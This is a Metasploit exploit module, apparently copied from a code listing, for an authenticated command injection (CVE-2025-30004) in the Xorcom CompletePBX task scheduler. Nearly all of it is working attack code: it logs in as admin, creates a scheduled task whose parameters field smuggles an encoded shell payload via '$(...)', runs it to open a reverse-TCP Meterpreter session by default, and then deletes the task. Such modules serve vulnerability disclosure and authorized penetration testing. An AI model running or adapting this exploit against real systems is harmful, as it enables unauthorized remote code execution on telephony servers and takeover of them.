1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187
|
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::XorcomCompletePBX prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {}) super( update_info( info, 'Name' => 'Xorcom CompletePBX Authenticated Command Injection via Task Scheduler', 'Description' => %q{ This module exploits an authenticated command injection vulnerability in Xorcom CompletePBX versions <= 5.2.35. The issue resides in the task scheduler functionality, where user-controlled input is improperly sanitized, allowing arbitrary command execution with web server privileges.
Only the superadmin user (admin) has the necessary permissions to trigger this exploit. Even when creating a new user with maximum privileges, the vulnerability does not work. }, 'Author' => [ 'Valentin Lobstein' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-30004'], ['URL', 'https://www.xorcom.com/products/completepbx/'], ['URL', 'https://chocapikk.com/posts/2025/completepbx/'] ], 'Privileged' => false, 'Platform' => %w[unix linux], 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2025-03-02', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) )
register_options([ OptString.new('USERNAME', [true, 'Valid CompletePBX username', 'admin']), OptString.new('PASSWORD', [true, 'Valid CompletePBX password']), ]) end
def check is_completepbx end
def get_latest_task_id(sid_cookie, task_desc) print_status("Retrieving latest task ID for description: #{task_desc}...")
res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', 'vars_get' => { 'class' => 'scheduler', 'method' => 'tasks', 'offset' => '0', 'max' => '20' }, 'cookie' => sid_cookie ) fail_with(Failure::Unreachable, 'No response from target while fetching tasks') unless res
json = res.get_json_document fail_with(Failure::UnexpectedReply, 'Invalid JSON structure') unless json.is_a?(Hash)
rows = json.fetch('rows', nil) fail_with(Failure::UnexpectedReply, 'Missing task list in response') unless rows.is_a?(Array)
row = rows.find { |r| r.is_a?(Array) && r[2].to_s == task_desc } fail_with(Failure::NotFound, "Task '#{task_desc}' not found") unless row
task_id = row[0] print_good("Found task with ID: #{task_id}") task_id end
def create_task(sid_cookie) task_desc = Faker::Lorem.sentence(word_count: 4) notes = Faker::Lorem.paragraph(sentence_count: 3) print_status("Creating malicious scheduled task with description: #{task_desc}")
res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'cookie' => sid_cookie, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'script' => 'backup', 'description' => task_desc, 'starting' => Time.now.strftime('%Y-%m-%d %H:%M'), 'interval' => '1', 'interval_unit' => 'month', 'parameters' => "$(#{payload.encoded})", 'notes' => notes, 'data' => '0', 'class' => 'scheduler', 'method' => 'save_task', 'mode' => 'create' } ) fail_with(Failure::Unreachable, 'No response from target while creating task') unless res
json_res = res.get_json_document || fail_with(Failure::UnexpectedReply, 'Invalid JSON response') state = json_res.fetch('state') { fail_with(Failure::UnexpectedReply, 'Failed to create the malicious task') }
print_good('Malicious task successfully created.') and return task_desc if state == 'success'
fail_with(Failure::UnexpectedReply, 'Failed to create the malicious task') end
def run_task(sid_cookie, task_id) print_status("Executing malicious task ID #{task_id}...")
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'cookie' => sid_cookie, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'class' => 'scheduler', 'method' => 'run_task', 'mode' => 'run', 'data' => task_id.to_s } })
unless res fail_with(Failure::Unreachable, 'No response from target while executing task') end
print_good('Task executed successfully!') end
def delete_task(sid_cookie, task_id) %w[delete deleteConfirmed].each do |mode| print_status("Sending delete request (mode=#{mode}) for task ID #{task_id}...")
send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'cookie' => sid_cookie, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'class' => 'scheduler', 'method' => 'delete_task', 'mode' => mode, 'data' => task_id.to_s } }) end
print_good("Task #{task_id} deleted successfully!") end
def exploit sid_cookie = completepbx_login task_desc = create_task(sid_cookie) task_id = get_latest_task_id(sid_cookie, task_desc) run_task(sid_cookie, task_id) ensure delete_task(sid_cookie, task_id) if task_id end end
|